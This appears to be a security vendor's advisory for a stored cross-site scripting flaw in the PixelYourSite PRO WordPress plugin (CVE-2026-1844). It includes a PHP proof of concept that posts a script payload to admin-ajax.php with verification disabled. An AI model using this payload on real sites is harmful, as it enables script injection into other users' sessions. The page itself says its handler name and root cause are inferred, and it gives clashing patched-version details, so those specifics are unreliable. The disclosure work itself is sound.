Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1844: PixelYourSite PRO <= 12.4.0.2 – Unauthenticated Stored Cross-Site Scripting (pixelyoursite-pro)

CVE ID CVE-2026-1844
Plugin pixelyoursite-pro
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 12.4.0.2
Patched Version —
Disclosed February 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1844 (metadata-based):
The PixelYourSite PRO WordPress plugin, version 12.4.0.2 and earlier, contains an unauthenticated stored cross-site scripting (XSS) vulnerability. The flaw exists in the handling of the ‘pysTrafficSource’ and ‘pys_landing_page’ parameters. Attackers can inject malicious scripts that are stored and executed when a user views a compromised page. The CVSS score of 7.2 (High) reflects the network attack vector, low attack complexity, and the potential for impacts on confidentiality and integrity across multiple user sessions.

Atomic Edge research identifies the root cause as insufficient input sanitization and output escaping, as classified under CWE-79. The vulnerability description confirms a lack of proper neutralization for user-supplied input in the named parameters. Without access to the source code diff, this conclusion is inferred from the CWE classification and the public description. The plugin likely echoes the unsanitized parameter values directly into the page output without applying appropriate WordPress escaping functions like `esc_html()` or `esc_attr()`.

The exploitation method involves an unauthenticated attacker sending a crafted HTTP request containing malicious JavaScript in either the ‘pysTrafficSource’ or ‘pys_landing_page’ parameter. Based on WordPress plugin patterns, Atomic Edge analysis infers these parameters are likely processed via a WordPress AJAX handler or a frontend hook that stores the values in the user’s session or a site option. A typical attack vector would be a POST request to `/wp-admin/admin-ajax.php` with an action parameter related to the plugin’s traffic tracking functionality. The payload would be stored and later reflected in the page HTML.

Effective remediation requires implementing proper input validation and contextual output escaping. The patched version (12.4.0.3) likely added sanitization of the incoming parameters using functions like `sanitize_text_field()` and ensured any output uses appropriate WordPress escaping functions (`esc_html()`, `esc_attr()`, `wp_kses()`). For data intended for JavaScript contexts, the plugin should use `wp_json_encode()` or similar. Nonce verification and capability checks should also be reviewed, though the unauthenticated nature suggests these were absent or bypassable.

Successful exploitation allows an unauthenticated attacker to inject arbitrary JavaScript into pages viewed by other users. This can lead to session hijacking, theft of administrator cookies, malicious redirects, or defacement of the site. The stored nature of the attack means a single payload can affect multiple users over time. The CVSS vector indicates impacts on confidentiality (C:L) and integrity (I:L) with scope change (S:C), meaning the vulnerability can affect users beyond the immediate security scope of the vulnerable component.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1844 - PixelYourSite PRO <= 12.4.0.2 - Unauthenticated Stored Cross-Site Scripting
<?php

$target_url = 'https://example.com/wp-admin/admin-ajax.php'; // CHANGE THIS

// Based on the plugin slug and vulnerability type, we infer the AJAX action.
// The plugin likely registers a handler for 'pys' or 'pixelyoursite' related actions.
// The exact action name is not confirmed in the metadata, so we test a common pattern.
$inferred_action = 'pys_update_traffic_source';

// Malicious payload to inject a script tag. This is a basic proof-of-concept.
$payload = '<script>alert(document.domain)</script>';

// Prepare POST data with the vulnerable parameters.
$post_data = array(
    'action' => $inferred_action,
    'pysTrafficSource' => $payload, // Target the first vulnerable parameter.
    // Alternatively, use 'pys_landing_page' => $payload
);

// Initialize cURL session.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only.
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); // For testing only.

// Execute the request.
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Output results.
echo "Atomic Edge PoC for CVE-2026-1844n";
echo "Target: $target_urln";
echo "Inferred AJAX Action: $inferred_actionn";
echo "HTTP Status: $http_coden";
echo "Response (first 500 chars): " . substr($response, 0, 500) . "n";

// Note: This PoC is based on inferred patterns. A successful exploit requires
// the plugin to store the parameter value and later output it unsanitized.
// Verification requires checking the frontend page for the script execution.

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School